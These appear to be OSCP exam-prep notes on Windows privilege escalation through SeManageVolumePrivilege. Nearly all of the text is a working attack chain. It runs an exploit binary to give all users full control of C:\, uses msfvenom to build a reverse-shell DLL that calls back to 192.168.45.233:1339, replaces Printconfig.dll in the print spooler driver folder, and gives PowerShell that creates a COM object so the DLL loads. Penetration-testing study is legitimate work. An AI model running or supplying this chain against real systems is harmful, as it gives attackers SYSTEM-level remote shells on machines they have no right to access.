Whoami Priv Semanagevolumeprivilege

Notes from oscp.adot8.com — windows privilege escalation.

#windows privilege escalation#adot8

source · oscp.adot8.com · windows-privilege-escalation/whoami-priv_semanagevolumeprivilege ↗

SeManageVolumePrivilege

code

01Privilege Name                Description                      State   
02============================= ================================ ========
03SeManageVolumePrivilege       Perform volume maintenance tasks Disabled/Enabled

{% embed url="https://github.com/CsEnox/SeManageVolumeExploit" %}

Grant full permissions to all users over C:\

code

01.\SeManageVolumeExploit.exe

Furthermore replace C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll and run

code

01msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.233 LPORT=1339 -f dll -o Printconfig.dll

{% hint style="info" %} In command prompt {% endhint %}

code

01copy Printconfig.dll C:\Windows\System32\spool\drivers\x64\3\

{% hint style="info" %} Switch to powershell {% endhint %}

powershell

$$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
$$object = [Activator]::CreateInstance($type)